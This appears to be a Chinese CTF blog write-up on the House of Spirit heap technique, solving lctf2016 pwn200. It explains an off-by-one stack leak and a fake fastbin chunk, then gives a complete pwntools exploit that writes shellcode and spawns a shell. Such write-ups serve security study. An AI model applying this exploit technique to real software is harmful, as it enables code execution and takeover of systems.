「PWN」House_of_Spirit
看看House_of_spirit,这是一种依靠在栈上构造fake_chunk从而实现(almost) arbitrary write的技术。依赖fastbin
整体还是比较简单的,需要注意的就是需要16字节对齐,且需要构造next_fake_chunk的chunk_size以绕过检查


实战
lctf2016_pwn200

保护啥也没开,想着就是直接ret2shellcode梭哈,但是没有那么多字节给我们栈溢出。

第一个who are u?的函数存在Off-by-One的漏洞,可以泄露出400A8E的rbp指向的内容(也就是父函数的rbp)
def who_are_you(content: bytes) -> bytes:
sh.sendafter(b'who are u?\n', content)
sh.recv(0x30)
return sh.recv(6).ljust(8, b'\x00')
rbp = u64(who_are_you(b'a'*0x30))
print("> rbp:", hex(rbp))

函数read_input()返回了一个int,虽然400A8E没有使用,他也应该会存到栈上的某个位置,根据汇编得到其位于[rbp-0x38]的位置
![[rbp-0x38]](https://oss.nova.gal/img/image-20220720000140408.png)
在400A29中,可以看出dest是指针,buf存在8字节的溢出,正好可以覆盖dest,而dest会存到ptr中,供之后的menu里的功能来free和malloc等。

到此,我们可以初步猜想,可以在buf这里构造一个fake_chunk,然后把堆指针指向buf,这样我们就有了一个在栈上的chunk。问题是在check_out函数中,想要free(ptr),我们必须依靠House_of_spirit伪造fake_next_chunk_size
根据计算,我们可以发现刚才的id正位于目前我们buf+0x68的位置,因此我们不妨造一个0x50大小的chunk,并把id设置成一个满足house_of_spirit的值。

如此一来,当我们执行free(ptr)时,便会将这个栈上的地址存到fastbin中,此时我们重新malloc(0x60),并写入对应的payload更改返回地址,便可以拿到shell了
通过观察,我们可以发现唯一可以控制的ret_addr是ptr+0x40的这个。返回地址可控了,丢到哪里呢?还记得我们一开始who_r_u的时候输入了0x30的数据么?我们完全可以把shellcode写到这里。只要计算一下偏移就可以了。

完整 EXP:
from pwn import *
context(os='linux', arch='amd64', log_level='DEBUG')
sh = process(['./pwn200'])
def who_are_you(content: bytes) -> bytes:
sh.sendafter(b'who are u?\n', content)
sh.recv(0x30)
return sh.recv(6).ljust(8, b'\x00')
def give_id(content: bytes):
sh.sendafter(b'give me your id ~~?', content)
def give_money(content: bytes):
sh.sendafter(b'give me money~', content)
def menu(index: int):
sh.recvuntil(b"your choice : ")
if index == 1:
sh.sendline(b"1")
elif index == 2:
sh.sendline(b"2")
sh.recvuntil(b"out~")
elif index == 3:
sh.sendline(b"3")
sh.recvuntil(b'good bye~')
def check_in(length_: bytes, content: bytes):
sh.sendlineafter(b'how long?', length_)
sh.sendlineafter(length_ + b'\n', content)
sh.recvuntil(b"in~")
def gdb_(time_: int = None, arg: str = None):
gdb.attach(sh, arg)
pause(time_)
rbp = u64(who_are_you(asm(shellcraft.sh()).ljust(0x30, b'\x00')))
# rbp = u64(who_are_you(b'a'*0x30))
print("> rbp:", hex(rbp))
give_id(b'2333') # next_fake_chunk_size
payload = p64(0) + p64(0x60) + b'\x00'*(0x40-0x10-0x08) + p64(rbp-0xb0)
give_money(payload)
menu(2)
ret_addr = rbp - 0x50
payload = b'\x00'*0x38 + p64(ret_addr) + b'\x00'*0x0F
menu(1)
check_in(b'80', payload)
menu(3)
sh.interactive()
2014_hack.lu_oreo
哈哈哥们出了个整不明白的 bug(pwntools接不到Action),后面再说吧,乐
